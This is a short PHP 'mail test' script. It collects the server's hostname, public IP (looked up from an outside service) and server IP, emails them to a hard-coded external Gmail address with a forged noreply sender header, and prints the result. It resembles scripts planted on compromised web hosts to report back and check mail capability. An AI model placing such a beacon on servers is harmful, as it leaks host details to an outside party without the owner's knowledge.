<?php
$to="shatilastores@gmail.com";
$sub="PHP mail test ".gethostname();
$body="server=".gethostname()."\nip=".@file_get_contents("https://api.ipify.org")."\nserver_ip=".$_SERVER['SERVER_ADDR']."\n";
$h="From: noreply@".@file_get_contents("https://api.ipify.org")."\r\nX-Mailer: PHP/".phpversion();
if(@mail($to,$sub,$body,$h)){echo "MAIL_SENT";}else{echo "MAIL_FAIL";}
echo "\nPHP=".phpversion()."\nHOST=".gethostname()."\nIP=".$_SERVER['SERVER_ADDR'];
?>